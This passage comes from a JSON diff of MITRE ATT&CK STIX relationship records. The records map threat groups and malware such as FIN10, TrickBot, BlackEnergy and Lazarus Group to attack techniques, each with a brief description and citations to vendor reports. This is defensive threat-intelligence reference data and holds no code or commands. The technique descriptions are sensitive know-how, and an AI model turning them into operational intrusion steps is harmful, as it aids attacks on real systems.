Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.416Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--137e1ddc-403b-49b5-a214-20b82bab446e", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b3f374c-9f56-4493-8b85-72d0750d0c59", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "modified": "2019-04-25T12:09:56.317Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8200c438-ec29-4f0e-81c3-9a058c735748", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.709Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:22:40.023Z", + "type": "relationship", + "id": "relationship--fe15ff1c-7a12-4bcf-aa93-68deb475e6f0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) prompts the users for credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7eef6b42-8c4c-4619-b0ed-fa17f16de722", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) uses rundll32 to call an exported function.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75785351-1b28-422b-99c9-9fe80eedee05", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.205Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) queries the system to identify existing services.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to discover system firewall settings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61", + "external_references": [ + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "TechNet Netsh Firewall", + "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20cf444d-b538-4971-b054-3d749aa945f0", + "external_references": [ + { + "source_name": "Fidelis TrickBot Oct 2016", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + }, + { + "source_name": "IBM TrickBot Nov 2016", + "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", + "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" + }, + { + "source_name": "Microsoft Totbrick Oct 2017", + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.381Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use WMI to execute a binary.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4c4e420-4e1a-420d-9d6a-08fe6d322217", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.097Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used Kerberos ticket attacks for lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5de21fc4-c460-4da4-9dc4-2acdd54640a8", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.241Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.300Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7dba7706-128e-43a7-a240-6d456c9003a2", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "source_name": "CameraShy", + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL search order hijacking.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:32.035Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8f11c39-df96-451e-a93a-417512f82819", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57a9c0ef-6b92-415e-9f72-a78483e35f5f", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:34:51.623Z", + "type": "relationship", + "id": "relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via a .lnk file stored in the Startup directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd", + "external_references": [ + { + "source_name": "Unit 42 SeaDuke 2015", + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", + "relationship_type": "uses", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses cmd.exe to execute commands for discovery.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect information about anti-virus software on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aeaa2f37-4014-4313-9fe2-8616b352a90c", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of writing a file to the compromised system from the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of exfiltrating specific files directly from the infected devices.", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2019-03-22T20:14:29.734Z", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) accesses the HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2de4d7df-18fc-4202-93ee-2fcfe6f2e501", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-26T22:56:58.337Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging and screen captures.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware gathers the victim's local IP address, MAC address, and external IP address.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88c50625-6d02-42fb-aa82-4315a532b754", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.465Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted tmp and prefetch files during post compromise cleanup activities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92bc1e7b-6700-4d11-b82e-24284f30c2d7", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.691Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.439Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28471736-5b62-4132-b4ed-c22ae449b455", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample conducts C2 over HTTP.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6549c38d-46b4-4633-a479-0cbeb405f186", + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": 